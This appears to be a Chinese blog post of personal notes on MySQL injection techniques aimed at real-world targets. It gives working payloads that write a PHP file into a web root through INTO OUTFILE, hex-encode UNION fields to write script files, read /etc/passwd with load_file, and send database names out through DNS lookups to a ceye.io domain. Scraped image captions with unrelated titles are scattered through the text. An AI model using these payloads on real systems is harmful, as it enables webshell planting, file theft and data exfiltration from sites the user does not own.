今天终于在表哥的帮助下解决了文件导入/出这个问题了。(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录。

1.Mysql数据库支持union的时候写文件小技巧:

 

shell脚本中mysql日期循环 mysql日志写shell_数据


采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,

但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。

 

shell脚本中mysql日期循环 mysql日志写shell_sql_02


将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。


2.不支持union的时候写入,很多人都不知道这个办法,以为要写入内容必须要支持union,看到一篇文章,可以不需要支持这个办法。

语法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

 

shell脚本中mysql日期循环 mysql日志写shell_数据_03


可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1

 

可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。

看看sqlmap中的情况:

shell脚本中mysql日期循环 mysql日志写shell_php_04

 

可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到请求)

shell脚本中mysql日期循环 mysql日志写shell_shell_05

 

当然可以看到也通过了常规的union写入文件。

同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。

读文件:

select exp(~(select*from(select load_file('/etc/passwd'))a));  

写文件:

select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。



3.关于使用dns解析来让盲注更加简单。

首先看下load_file()这个函数,这个函数可以用来发送dns解析请求。

然后使用类似的语句:select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);

即可成功将database()解析到域名的dns前面。前提是支持读文件权限,这个在实战中占的比列大概只有%30左右吧。

shell脚本中mysql日期循环 mysql日志写shell_php_06

 

还有就是命令执行同时也支持的,如:

shell脚本中mysql日期循环 mysql日志写shell_php_07

 

shell脚本中mysql日期循环 mysql日志写shell_shell脚本中mysql日期循环_08


实战中也类似这个道理。在可能存在命令执行的地方,ping+域名,或许就能查看到是否执行了。

本来是自己写的word作为记录储存的,顺便和大家分享下。